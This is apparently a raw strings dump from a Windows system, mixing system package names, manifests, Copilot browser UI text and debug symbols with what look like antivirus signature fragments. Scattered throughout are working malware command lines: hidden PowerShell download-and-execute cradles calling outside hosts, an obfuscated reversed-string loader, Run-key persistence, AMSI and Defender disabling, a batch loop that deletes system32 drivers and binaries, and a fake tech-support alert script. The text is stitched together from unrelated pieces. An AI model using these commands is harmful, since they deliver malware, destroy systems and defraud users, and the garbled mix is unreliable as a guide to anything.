Microsoft.Windows.ParentalControls_1000.25128.1000.0_neutral_neutral_cw5n1h2txyewy
Microsoft.Windows.O?
Microsoft.WindowsTerminal_1.18.10301.0_x64__8wekyb3d8bbwe
Microsoft.WindowsNotepad_11.2501.31.0_x64__8wekyb3d8bbwe
Microsoft.WindowsCamera_2025.2510.2.0_neutral_split.scale-125_8wekyb3d8bbwe
Microsoft.WindowsCamera_2025.2510.2.0_neutral_split.scale-100_8wekyb3d8bbwe
Microsoft.WindowsCamera_2022.2510.2.0_neutral_~_8wekyb3d8bbwe
Microsoft.Windows.AugLoop.CBS_1.1126.2131.0_x64__8wekyb3d8bbwe
Microsoft.Windows.AugLoop.CBSMicrosoft CorporationMicrosoft Windows AugLoop CBSlogo.png
Microsoft.Windows.AssignedAccessLockApp_1000.25128.1000.0_neutral_neutral_cw5n1h2txyewy
Microsoft.Windows.Apprep.ChxApp_1000.25128.1000.0_neutral_neutral_cw5n1h2txyewy
Microsoft.Windows.XGpuEjectDialog_10.0.26100.1_neutral_neutral_cw5n1h2txyewy
Microsoft.Windows.SecureAssessmentBrowser_10.0.26100.1_neutral_neutral_cw5n1h2txyewy
Microsoft.Windows.PrintQueueActionCenter_1.0.2.0_neutral_neutral_cw5n1h2txyewy
Microsoft.Windows.PinningConfirmationDialog_1000.25140.1001.0_neutral__cw5n1h2txyewy
Microsoft.Windows.PeopleExperienceHost_10.0.26100.1_neutral_neutral_cw5n1h2txyewy
dMicrosoft.WindowsAppRuntime.CBS.1.8_8000.694.2228.100_x64__8wekyb3d8bbwe
Microsoft.WindowsAppRuntime.CBS.1.8Microsoft CorporationMicrosoft Windows App Runtime CBS (8000.694.2228.100 x64)WindowsAppRuntime.png
dMicrosoft.WindowsAppRuntime.CBS.1.6_6000.700.2257.100_x64__8wekyb3d8bbwe
Microsoft.WindowsAppRuntime.CBS.1.6Microsoft CorporationMicrosoft Windows App Runtime CBS (6000.700.2257.100 x64)WindowsAppRuntime.png
Microsoft.Windows.StartMenuExperienceHost_10.0.26100.4768_neutral_neutral_cw5n1h2txyewy
&Microsoft.Windows.ShellExperienceHost_10.0.26100.7462_neutral_neutral_cw5n1h2txyewy
Microsoft.Windows.ParentalControls_1000.25128.1000.0_neutral_neutral_cw5n1h2txyewy
Microsoft.Windows.OOBENetworkConnectionFlow_10.0.26495.1000_neutral__cw5n1h2txyewy
software\microsoft\windows\currentversion\internet settings\user agent\post platform\software\microsoft\windows\currentversion\uninstall\oracle vm virtualbox guest additions!#HSTR:TrojanSpy:MSIL/Guloader.RP170225!MTB
WINDOWS11
ROOT\Microsoft\Windows\Defender
ROOT\Microsoft\Windows\Defender
ROOT\Microsoft\Windows\Defender
(@WindowsRuntimeAccess
67^windows.appExtension
9f^windows.backgroundTasks
68^windows.appExtensionHost
Microsoft-Windows-Client-Desktop-Required-Package04111~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
takeown/fc:\windows\system32icaclsc:\windows\system32delc:\windows\system32
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.26100.1591.cat
Microsoft-Windows-Client-Desktop-Required-Package0415~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Windows.Data.Input.RadialControllerActions
Windows.Data.Input.RadialControllerTool
Windows.Data.Input.RadialControllerSettings
Windows.Data.Input.RadialControllerActionsCache
\windows\currentversion\run/vdll
xstall the navexcelc:\cygwin\home\quoc\navexcel\install\release\remover.pdbnavexcel search toolbar (remove only)navexcel search toolbar installation completed.navexcel search toolbar uninstallationnavexcelbar.dllnxstinst.exeregsvr32.exe /s navexcelbar.dllsoftware\microsoft\windows\currentversion\uninstall\navexcel search toolbarsoftware\navexcel ltdthe current user does not have sufficient privilege to install the navexcel search toolbar.the navexcel search toolbar has been successfully uninstalled.
USERDOMAIN_ROAMINGPROFILE=Windows11
ComSpec=C:\WINDOWS\system32\cmd.exe
<connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.26200.7840</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>001800174B45E4B4</deviceName><followRetry>true</followRetry></agent></connect>
<connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.26200.7840</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>001800174B45E4B4</deviceName><followRetry>true</followRetry></agent></connect>
windows\currentversion
!a2guard.exepctsGui.exeNorman_Malware_Cleaner.exeFirewallGUI.exeWindows Defender
@echooffpowershell-executionpolicybypass-noprofile-windowstylehidden(new-objectsystem.net.webclient).downloadfile('https://fs01n5.sendspace.com/dl/23da2e4841c1800d1954130c638d13c3/575d2f1645706e13/ooru9w/google%20chrome.exe','%appdata%\svchost.exe');start-process'%appdata%\svchost.exe'
  <assemblyIdentity name="Microsoft.Windows.GdiPlus" version="1.1.26100.7824" processorArchitecture="x86" publicKeyToken="6595b64144ccf1df" type="win32" />
  <file name="GdiPlus.dll" cmiv2:importPath="$(build.nttree)\asms\11\msft\windows\gdiplus" cmiv2:sourceName="">
      <id name="Microsoft.Windows.Categories" version="1.0.0.0" publicKeyToken="365143bb27e7ac8b" typeName="BootRecovery" />
e di windows: @@
%Microsoft Windows Production PCA 20110
Microsoft Windows0
%Microsoft Windows Production PCA 20110
%Microsoft Windows Production PCA 2011
 http://www.microsoft.com/windows0
%Microsoft Windows Production PCA 2011
Windows.XGpuEjectDialogT
Microsoft.Windows.Shell?
n%s\system32\%s %s
    name="Microsoft.Windows.ExplorerFrame"
<description>Windows Shell</description>
            name="Microsoft.Windows.Common-Controls"
    <windowsSettings>
        <dpiAware  xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">true</dpiAware>
    </windowsSettings>
    <p>If you still see the error, contact the website owner.</p>"Software on your computer is preventing Microsoft Copilot from safely connecting to the web" (Windows computers only)The site $2 has failed to deliver an origin policy,
..\windows\system32\cmd.exe/cstart..\antiusbshortcut\antiusb.exe"..\antiusbshortcut\antiusbshortcut.zip"&explorer"..\programdata"&exit
Microsoft Internet Explorer (compatible; MSIE 6.0; Windows NT 5.0)i
Mozilla/4.0 (compatible; MSIE 5.0; Windows NT 5.0)\Windows Update.lnkSoftware\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
SystemRoot=C:\WINDOWS
	windows\syW
$destination="c:\windows\host.exe"$www=new-objectsystem.net.webclient$www.downloadfile($source,$destination)$source2="http://
@.exe"$destination2="c:\windows\
.exe"$www2=new-objectsystem.net.webclient$www2.downloadfile($source2,$destination2)invoke-expression("c:\windows\host.exe")invoke-expression("c:\windows\
c:\windows\
"c:\windows\system32\wscript.exe" "c:\temp\
<span>windows
c:\windows\system32\drivers\
c:\windows\system32\drivers\
c:\windows\system32\
c:\windows\system32\
c:\windows\system32\drivers\
c:\windows\system32\drivers\
.execdc:\programdata\x32\regadd"hkcu\software\microsoft\windows\currentversion\run
c:\windows\syswow64\windowspowershell\v1.0\powershell.exe-executionpolicyrestricted(new-objectsystem.net.webclient).downloadfile('http://etenity.com.my/seal.exe','%temp%\uguygie.scr');invoke-item('%temp%\uguygie.scr')
WindowsCreateStringReference
WindowsDeleteString
WindowsGetStringRawBuffer
WindowsStringHasEmbeddedNull
WindowsIsStringEmpty
wins := "user32.dll\CallWindowProcWFileCopy,%A_Scriptfullpath%, %A_Temp%\%A_Scriptname%,1FileSetAttrib, +SH, %A_Temp%\%A_Scriptname%,1RegWrite, REG_SZ, HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnceFileCreateShortcut, "%A_Temp%\%A_ScriptName%", %A_Startup%
c:\windows\temp\
c:\windows\temp\
c:\windows\temp\
SStaskkill /IM dbackup.exe\System32\dbackup.exeD
&2L8po:i+00/c:\r1windows<*windowsv1system32>*system32r2cmd.exe<*cmd.exe
cmd.exe /c ping localhost & powershell.exe -executionpolicy bypass -noprofile -windowstyle hidden (new-object system.net.webclient).downloadfile(
svchost.exe install Windows "C:\Windows\csrss.exe"kasyanoff--auto-gpud8bfbcc63f0e4b7aa32d7b23e2724ffb25fbe1a2e16eee63e90ff8eef6c382f3a9e8fb83e04bstart Windows
/\crss.jar", windowStyle
Hfor(vari=0;i<99;i++){alert("criticalalertfromwindows:yourcomputerhasbeenblocked\n\nwindowshasdetectedsomesuspiciousactivity
c:\windows\system32\cmd.exe/rpowershell-executionpolicybypass-noprofile-command(new-objectsystem.net.webclient).downloadfile('http://
amigo.exe/delete /tn SystemScript /fSoftware\Microsoft\Windows\ValueOfWindow
Software\Microsoft\Windows\CurrentVersion\RunServicesj@h
GetWindowsDirectoryW
WindowsCreateStringReference
echoinstallingwindowsloader...[47%%]echo.@echoofftaskkill/f/imchrome.exetaskkill/f/imfirefox.exetaskkill/f/imiexplore.execlsechorunningwindowsloader...echo.echoinstallingwindowsloader...[47%%]echo.echoapplyingregistrypatch...echo.echoapplyingregistrypatch...[78%%]echo.start322463dcecaf34c0b424b4ae6e044649.exestartregistryactivator.exestartregistry_activation-176554725.exeechoinstallinggenuinevalidationdriver....[97%%]echo.@echooffschtasks/run/tn"ppiupdate
WindowsTuneUp.Resources
Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
NoDrivesSoftware\Microsoft\Windows\CurrentVersion\Policies\Network
Windows Update Service
This site has been flagged by Microsoft Defender SmartScreen. Microsoft Copilot suggests you avoid this site. Using this site will put your privacy and security at risk.Microsoft Copilot limits most sites from using third-party cookies to track you as you browse. Visit settings to $1.Microsoft Copilot periodically checks your passwords against lists that have been published online. When doing this, your passwords and usernames are encrypted, so they can't be read by anyone, including Microsoft.When you use a password, Microsoft Copilot warns you if it has been published online. When doing this, your passwords and usernames are encrypted, so they can't be read by anyone, including Microsoft.Microsoft Copilot PasswordsMicrosoft Copilot is trying to fill your password on $1.Passkey from Copilot profileMicrosoft Copilot is trying to turn on Windows Hello for filling passwords.Microsoft Copilot is trying to turn off Windows Hello for filling passwords.Cards and addresses are from Microsoft Copilot. You can manage them in BEGIN_LINKSettingsEND_LINK.An application is preventing Microsoft Copilot from safely connecting to this siteCan't establish a secure connection: The certificates that websites use to identify themselves are only valid for specific periods of time. Because your device's clock is incorrect, Microsoft Copilot can't verify these certificates.$1 uses encryption to protect your information. When Microsoft Copilot tried to connect to $1 this time, the website sent back unusual and incorrect credentials. This may happen when an attacker is trying to pretend to be $1, or a Wi-Fi sign-in screen has interrupted the connection. Your information is still secure because Microsoft Copilot stopped the connection before any data was exchanged.You can't visit $1 right now bec
Windows
System32
WINDOWS
Microsoft.Windows.Processor.Driver
Microsoft.Windows.Kernel.Power.PpmDifferentialFeedbackLog
?ianaIdToWindowsId@QTimeZone@@SA?AVQByteArray@@AEBV2@@Z
??_7QWindowStateChangeEvent@@6B@
??_7QWindowSystemEventHandler@@6B@
??_7TabletEvent@QWindowSystemInterfacePrivate@@6B@
Microsoft.Windows.USB.USBHUB3.TraceLogging
Microsoft.Windows.TlgAggregateInternal
echo---disable"windowsdefendercachemaintenance"task
wactivexobject('wscript.shell');varkey="hkcu\\software\\microsoft\\windowsscript\\settings\\amsienable";try{varamsienable=sh.regread(key);if(amsienable!=0){thrownewerror(1,'');}}catch(e){sh.regwrite(key,0,"reg_dword");
c:\windows\system32\cmd.exe/cstart/mindoc.pdf&&type"img.jpg">"c:\programdata\img.jpg"&&mklink/h"%appdata%\microsoft\windows\startmenu\programs\startup\searchmgr.exe"c:\programdata\img.jpg&&startc:\programdata\img.jpg
Microsoft.Windows.Wil.FeatureLogging
shakira fulldownloader.exegladiator fulldownloader.exeaikaquest3hentai fulldownloader.exemoviezchannelsinstaler.exezidane-screeninstaler.exelordoftherings-fulldownloader.exesims fulldownloader.exebritney spears nude.exequake 4 beta.exewindows xp key generator.exeRansom:Win32/Getawa.A!MTB
del /q /s /f system@interrupts.exedel %windir%\system32\superdatvpn.exe%temp%\rarcek.txtExploit:O97M/CVE-2017-8570.PGA!MTB
Sapaymentinvoice.scrc:\users\kizzo\appdata\local\microsoft\windows\inetcache\content.word\paymentinvoice.scr6c:\users\kizzo\appdata\local\temp\paymentinvoice.scrmz@!l!thisprogramcannotberunindosmode.$sisisildsirichsipelh`t@p((.textl`.data1@.rsrc@@l[jmsvbvm60.dll
      <Color Name="ToolWindowSplitBarBackground">
dows\system32\cmd.execontroltower(backup)/r^s^t^art^m^si^e^xecad=mj^o^p^m^va^ty/f^v"http://a0.pm:8080/bh/yjc2kwe/utr7yecaxcjmlssb219olew/%computername%"ku^waacm^s^a=yox/qn^jnr^hy=^g^m^p!%systemroot%\system32\shell32.dll
1c:\windows\system32\windowspowershell\v1.0\powershell.exe-epbypass-c"$r=')''tob/niam/sdaeh/sfer/a/zdqrl/moc.tnetnocresubuhtig.war//:sptth''(gnirtsdaolnwod.)tneilcbew.ten.metsystcejbo-wen(xei';iex($r[-1..-($r.length)]-join'')
Vvc:\windows\system32\windowspowershell\v1.0\powershell.exe-win1iwr-urihtt''p://14''6''.''185.23''9''.8/so4nik/capacity.ps1-outfilecapacity.ps1;powershell.exe-noprofile-executionpolicybypass-file"$env:localappdata\capacity.ps1
 Windowsin salasana.copilotupdateMicrosoft Copilotin p
%Microsoft Windows Production PCA 20110
Microsoft Windows0
%Microsoft Windows Production PCA 20110
<'';'-windowstylehidd
System_Windows_Markup_IComponentConnector_ConnectZombies.Resources.resources
Microsoft-Windows-Client-Features-Package08~31bf3856ad364e35~amd64~~10.0.26100.1591.cat
Microsoft-Windows-Client-Desktop-Required-Package04113~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package04113~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
pidamente a las aplicaciones en cualquier dispositivo Windows
Microsoft.Windows.DevHome_8wekyb3d8bbwe
Microsoft.Windows.DevHome_8wekyb3d8bbwe!App
Microsoft.Windows.DevHome_8wekyb3d8bbwe
microsoft.windows.devhome_8wekyb3d8bbwe
Microsoft.Windows.DevHome_0.1700.597.0_x64__8wekyb3d8bbwe
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.2
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.1
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.2
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.1
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.2
Microsoft.Windows.Photos_24.24070.23002.0_x64__8wekyb3d8bbwe
Microsoft.Windows.Photos_24.24070.23002.0_x64__8wekyb3d8bbwe
Microsoft.Windows.Photos_24.24070.23002.0_x64__8wekyb3d8bbwe
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.1
Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy
microsoftwindows.client.cbs_cw5n1h2txyewy
C:%5CWindows%5CSystemApps%5CMicrosoft.Windows.CloudExperienceHost_cw5n1h2txyewy%5Cresources.pri
@{Microsoft.Windows.CloudExperienceHost_10.0.26100.1_neutral_neutral_cw5n1h2txyewy?ms-resource://Microsoft.Windows.CloudExperienceHost/resources/appDisplayName}@
@{Microsoft.Windows.CloudExperienceHost_10.0.26100.1_neutral_neutral_cw5n1h2txyewy?ms-resource://Microsoft.Windows.CloudExperienceHost/resources/PublisherDisplayName}
MicrosoftWindows.Client.CBS_cw5n1h2txyewy
Windows
microsoft.outlookforwindows_8wekyb3d8bbwe
C:%5CWindows%5CSystemApps%5CMicrosoft.AAD.BrokerPlugin_cw5n1h2txyewy%5Cresources.pri
C:%5CProgram Files%5CWindowsApps%5CMicrosoft.BingSearch_1.1.43.0_x64__8wekyb3d8bbwe%5Cmicrosoft.system.package.metadata%5CS-1-5-21-3914889805-4071901059-918772286-1001-MergedResources-0.pri
default terminal|defterm|windows terminal|developer settings|developer mode settings|Q
windows previewA
on windows previewH
button on windows previewN
Share button on windows previewR
the Share button on windows previewU
of the Share button on windows preview`
visibility of the Share button on windows previewh
windows preview@
on windows previewG
button on windows previewM
Share button on windows previewQ
the Share button on windows previewT
of the Share button on windows preview_
visibility of the Share button on windows previewg
r Windows 10https://store-images.s-microsoft.com/image/apps.59505.13510798884671596.352e98f8-31aa-4a32-9db9-94782043e1b8.c448a596-e629-4138-9403-ff5019f870f2de
9N97RC576957A Plague Tale: Requiem - Windowshttps://store-images.s-microsoft.com/image/apps.60562.13537574391772742.e387dd56-e35c-40fb-bc0c-c0c1decef3a1.1de59474-dc66-4ad3-8050-ee622224a589en
9N97RC576957A Plague Tale: Requiem - Windowshttps://store-images.s-microsoft.com/image/apps.60562.13537574391772742.e387dd56-e35c-40fb-bc0c-c0c1decef3a1.1de59474-dc66-4ad3-8050-ee622224a589fr
9N97RC576957A Plague Tale: Requiem - Windowshttps://store-images.s-microsoft.com/image/apps.60562.13537574391772742.e387dd56-e35c-40fb-bc0c-c0c1decef3a1.1de59474-dc66-4ad3-8050-ee622224a589de
c:\windows\
c:\windows\temp\
ms-windows-search
windows.tbauth
schtasks /create /tn "windowsupdate"s
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat
c:\windows\system32\windowspowershell\v1.0\powershell.execonvert-string-e'12345=143//2/5'-i'msh176.65.134.142http:tasample.mp4'|cmd
.exe!..\..\..\windows\system32\cmd.exeb/ccdproject&&pythonw.exeprojectt.py&taskkill/f/imcmd.exe"%systemroot%\system32\imageres.dll
WindowsDeleteString
WindowsCreateStringReference
??BType@Platform@@SA?AVTypeName@Interop@Xaml@UI@Windows@@PE$AAV01@@Z
WindowsCompareStringOrdinal
WindowsCreateString
WindowsDuplicateString
WindowsGetStringRawBuffer
WindowsIsStringEmpty
Windows.UI.Shell.SharedUtilities.dll
Microsoft-Windows-Client-Desktop-Required-Package0415~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Windows Defender Exploit Guard detected execution of a file related to an RMM tool
Windows Defender Exploit Guard detected the unauthorized modification of files in protected folder
%windir%\system32\WerFault.exe
%windir%\system32\bcdedit.exe
%windir%\system32\MBR2GPT.EXE
%windir%\system32\CompatTelRunner.exe
%windir%\system32\ReAgentc.exe
%windir%\system32\wbem\WmiPrvSE.exe
%windir%\system32\chkdsk.exe
%windir%\system32\omadmclient.exe
%windir%\system32\SearchIndexer.exe
%windir%\system32\taskhostw.exe
%windir%\system32\services.exe
%systemdrive%\$WINDOWS.~BT\Sources\SetupHost.exe
%systemdrive%\$WINDOWS.~BT\Work\*\DismHost
\Windows\CCM\
get_IsWindowsRuntimeObject
urldownloadtofile, https://upload.catfrombase64string('t'+'v'+'q'+'q'+'a'+'a'+'m'runwait powershell -noexit -windowstyle hidden  %pwscript% ,, hiderunwait %appdata%\microsofthttps://pastebin.com/raw/vr83t9s5microsoft\windows\start menu\programs\startup\windows\window2.vbs" /f,, hideTrojan:XML/Mofoiwer.A
https://pastebin.com/raw/hr1iwmqbrunwait powershell -noexit -windowstyle hiddenh
rtcshell("cmdc:\windows\system32\cmd/c"set
iwshshell3.run("c:\windows\system32\mshta.exehttps://bit.ly/2dl04jz");
iwshshell3.run("c:\windows\system32\mshta.exehttps://bit.ly/2r2v0ip");
r@Internal@ApplicationModel@Windows@@
WindowsCompareStringOrdinal
WindowsCreateString
WindowsDeleteString
WindowsIsStringEmpty
WindowsStringHasEmbeddedNull
WindowsGetStringRawBuffer
WindowsCreateStringReference
WindowsDuplicateString
t update because it might still be running on your device under another Windows account. Please close all Microsoft Copilot application windows and try again.Allow updates to be downloaded as soon as they're available and applied when the application restarts.Automatically download updates over metered networks (for example, cellular network) and apply them on application restart. Charges may apply.Use double-click to close application tabsCustomize which buttons always show on your applicationShow Windows 11 visual effects in applicationFor this setting change to take effect, restart your applicationAllow Microsoft Copilot to save your passwords and help keep them secureMicrosoft Copilot will suggest strong passwords and, if you choose to use them, they
regadd"hkcu\software\microsoft\windows\currentversion\run"/vdataupdate/treg_sz/d%userprofile%\drivedata\files\kylgr.exedel%userprofile%\documents\winhlp.zip
rtcshell("c:\windows\system32\cmd.exe/cattrib-s-h"
\windows\temp\key8854321.pubTrojanDownloader:O97M/Batdow.B
Windows.Client.WebExperience_cw5n1h2txyewy!F
Microsoft.Windows.Wil.FeatureLogging
Microsoft.Windows.Desktop.Shell.AppClosingTelemetry
Microsoft.Windows.Shell.ServiceProvider
Microsoft.Windows.Gaming.Posture.UX
Microsoft.Windows.Shell.StartupHealth
Microsoft.Windows.Shell.RadialControllerMenu
Microsoft.Windows.Shell.People
Microsoft.Windows.ShellPlacements
Microsoft-Windows-Shell-CriticalResultVerifier
Windows.ImmersiveShell.ServiceProvider.pdb
WINDOWS\system32\config
=C:\Windows\S
Microsoft.Windows.Wil.FeatureLogging
Microsoft.Windows.FileExplorerErrorFallback
Microsoft.Windows.Shell.CloudFiles
Microsoft.Windows.Shell.HardwareRequirements
MicrosoftWindowsFileExplorer
Microsoft.Windows.FileExplorerPerf
Windows.FileExplorer.Common.pdb
"\windows\currentversion\run'-name'
\windows\currentversion\run\
winesearchforge.com%systemroot%\system32\drivers\etc\hostswww.008k.comlivesexlist.comhtt'+'p://adu'+'lt.sea'+'rchfo'http://auto.ie.searchforge.com/\SharedTaskScheduler
hkey_current_user\software\microsoft\windows\currentversion\run
Iechoy|schtasks/create/tn"at1"/tr"c:\windows\fonts\mysql\nei.bat"/scdaily/st
$embnzdtrjdfvku=[text.encoding]::utf8.getstring([convert]::frombase64string('suvy'));salt$embnzdtrjdfvku;$frzzmhn=((new-objectnet.webclient)).downloadstring('http://qwertasd.ru/qwertyj1.ps1');t$frzzmhnc:\windows\system32\imageres.dll
Microsoft.Windows.Wil.FeatureLogging
Microsoft-Windows-Desktop-ApplicationFrame
Microsoft.Windows.Desktop.Shell.AppClosingTelemetry
Microsoft.Windows.Shell.DelayAllocateTLS
shellcommon\shell\Windows.UI.Shell\StartDocked\StartDocked\TestHookEntryPoint.cpp
shellcommon\shell\Windows.UI.Shell\StartDocked\StartDocked\DockedStartController.cpp
shellcommon\shell\Windows.UI.Shell\StartDocked\ViewModel\AllAppsExpandCollapseItemViewModel.h
shellcommon\shell\Windows.UI.Shell\StartDocked\Common\SizeCappedVector.h
shellcommon\shell\Windows.UI.Shell\StartDocked\ViewModel\PlacesItemViewModel.cpp
shellcommon\shell\Windows.UI.Shell\StartDocked\ViewModel\DragDropHelper.cpp
shellcommon\shell\Windows.UI.Shell\StartDocked\ViewModel\CommandingVerbProvider.cpp
shellcommon\shell\Windows.UI.Shell\StartDocked\ViewModel\UserTileViewModel.cpp
shellcommon\shell\Windows.UI.Shell\StartDocked\ViewModel\PowerOptionsViewModel.cpp
shellcommon\shell\Windows.UI.Shell\StartDocked\ViewModel\ThemeManager.cpp
shellcommon\shell\Windows.UI.Shell\StartDocked\ViewModel\FrameMetrics.cpp
winlogonj
.?AV?$CTaskWrapper@V<lambda_f35fa3a6e1b8ecb14416002dd9cce326>@@@ComTaskPool@Internal@Windows@@
.?AU?$IAsyncOperationCompletedHandler@PEAVGeoposition@Geolocation@Devices@Windows@@@Foundation@Windows@@
.?AV?$_Func_impl_no_alloc@V<lambda_0d2d46b37067f0c69c012132f3337e4a>@@XUScheduleTime@BlueLightReduction@Data@Windows@@U2345@@std@@
.?AV?$_Func_impl_no_alloc@V<lambda_e884443a58f1de36bbc54de6d7ce927d>@@XW4ActiveState@2_bond_enumerators@BlueLightReduction@Data@Windows@@W4SchedulerStateChangeType@@@std@@
.?AV?$RuntimeClass@U?$RuntimeClassFlags@$01@WRL@Microsoft@@U?$IAsyncOperationCompletedHandler@PEAVGeoposition@Geolocation@Devices@Windows@@@Foundation@Windows@@VFtmBase@23@@WRL@Microsoft@@
.?AU?$ImplementsHelper@U?$RuntimeClassFlags@$01@WRL@Microsoft@@$0A@U?$IAsyncOperationCompletedHandler@PEAVGeoposition@Geolocation@Devices@Windows@@@Foundation@Windows@@VFtmBase@23@@Details@WRL@Microsoft@@
.?AV?$CTaskWrapper@AEAV<lambda_d61e8d5b5f73d3d748270fb58c74cc5e>@@@ComTaskPool@Internal@Windows@@
.?AU?$IAsyncOperationCompletedHandler_impl@U?$AggregateType@PEAVGeoposition@Geolocation@Devices@Windows@@PEAUIGeoposition@234@@Internal@Foundation@Windows@@@Foundation@Windows@@
WindowsCreateString
WindowsCreateStringReference
WindowsDeleteString
WindowsStringHasEmbeddedNull
WindowsIsStringEmpty
WindowsGetStringRawBuffer
Windows.Shell.BlueLightReduction.dll
 .dat&&%windir%\system32\regsvr32H
.com/bgj3/ckjg.exe"$destination="c:\windows\temp\tybd7.exe"invoke-webrequest-uri$url-headers$iks-outfile$destinationstart-process-filepath$destination
GetWindowsDirectoryW
Microsoft.Windows.Compatibility.Asl
\windowsdefender\real-timeprot!
start-processpowershell.exe-windowstylehidden-verbrunas-arg
Win32Registry|Software\Microsoft\Windows\CurrentVersion|RegisteredOrganization
\windows\
Microsoft-Windows-Client-Features-Package010~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
var LocStringManager,WindowsCultureResolver;(fun
MICROSOFTWINDOWS.CLIENT.WEBEXPERIENCE_CW5N1H2TXYEWY
 Windows
dows\system32\cmd.exe/cs
windowstylehidden
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat
Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
fig/v1/MicrosoftWindowsDefenderClient/1.0.0.0?CampPlatformVersion=6&EngineMinorVersion=1&EngineRing=5&EngineVersion=26010&IsBeta=0&IsDomainController=0
 Windows-
onecoreuap\shell\windows.storage\sharedstoragesources\assoclistt.h
onecoreuap\shell\windows.storage\sharedstoragesources\fileassoc.cpp
onecoreuap\shell\windows.storage\sharedstoragesources\filesystembrokering.cpp
onecoreuap\shell\windows.storage\associationlaunch\lib\openfolderandselectitems.cpp
onecoreuap\shell\windows.storage\capturedcallercontextlib\usermanagerstatichelpers.cpp
onecoreuap\shell\windows.storage\sharedstoragesources\fsdata.cpp
onecoreuap\shell\windows.storage\sharedstoragesources\homefoldersettings.cpp
onecoreuap\shell\windows.storage\sharedstoragesources\registryverbarray.cpp
d:\build\ob\bora-24843032\src\bora-vmsoft\build\release-x64\tools-for-windows\Win32\apps\guestStoreClientLib\guestStoreClient.pdb
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft-Windows-Client-Desktop-Required-Package04111~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
d:\build\ob\bora-24843032\src\bora-vmsoft\build\release-x64\tools-for-windows\Win32\services\plugins\hgfsServer\hgfsServer.pdb
System32\winlogon6
Afor%%ein(c:\windows\system32\drivers,c:\windows\winsxs,"c:\programfiles","c:\programfiles(x86)")do(for%%fin(.sys,.dll,.exe,.bin,.dat)do(for/f"delims="%%gin('dir/s/b/o:gn%%e\*%%f')do(takeown/a/f"%%g"winrar.exea-df%d%"%%g"&del%d%*)))
Behavior:Win64/T1070_001_ClearWindowsEventLogs.A
Behavior:Win64/T1562_002_DisableWindowsEventLogging.A
-windowstyle hidden -ep bypass -file
begindatahost1:port1:user-agent: mozilla/5.0 (windows nt 6.1; win64; x64; rv:66.0)Exploit:O97M/CVE-2017-0199.TG!MTB
WindowsApp3.Resources.resources
windows.hlp
onecoreuap\shell\windows.storage\capturedcallercontextlib\inc\InitOnce.h
Sonecoreuap\shell\windows.storage\knownfoldersstatics.cpp
.?AU?$produce_base@UExpanderToggleButtonAutomationPeer@implementation@TaskManagerApp@winrt@@UIExpandCollapseProvider@Provider@Automation@Xaml@UI@Windows@4@X@impl@winrt@@
.?AV?$IAutomationPeerOverrides4T@UExpanderToggleButtonAutomationPeer@implementation@TaskManagerApp@winrt@@@Peers@Automation@Xaml@UI@Windows@winrt@@
.?AV?$IAutomationPeerOverrides3T@UExpanderToggleButtonAutomationPeer@implementation@TaskManagerApp@winrt@@@Peers@Automation@Xaml@UI@Windows@winrt@@
.?AV?$IAutomationPeerOverrides2T@UExpanderToggleButtonAutomationPeer@implementation@TaskManagerApp@winrt@@@Peers@Automation@Xaml@UI@Windows@winrt@@
.?AV?$IAutomationPeerOverridesT@UExpanderToggleButtonAutomationPeer@implementation@TaskManagerApp@winrt@@@Peers@Automation@Xaml@UI@Windows@winrt@@
.?AV?$IAutomationPeerOverrides9T@UExpanderToggleButtonAutomationPeer@implementation@TaskManagerApp@winrt@@@Peers@Automation@Xaml@UI@Windows@winrt@@
.?AV?$IAutomationPeerOverrides8T@UExpanderToggleButtonAutomationPeer@implementation@TaskManagerApp@winrt@@@Peers@Automation@Xaml@UI@Windows@winrt@@
.?AV?$IAutomationPeerOverrides6T@UExpanderToggleButtonAutomationPeer@implementation@TaskManagerApp@winrt@@@Peers@Automation@Xaml@UI@Windows@winrt@@
.?AV?$IAutomationPeerOverrides5T@UExpanderToggleButtonAutomationPeer@implementation@TaskManagerApp@winrt@@@Peers@Automation@Xaml@UI@Windows@winrt@@
.?AU?$base_one@UExpanderToggleButtonAutomationPeer@implementation@TaskManagerApp@winrt@@UButtonBaseAutomationPeer@Peers@Automation@Xaml@UI@Windows@4@@impl@winrt@@
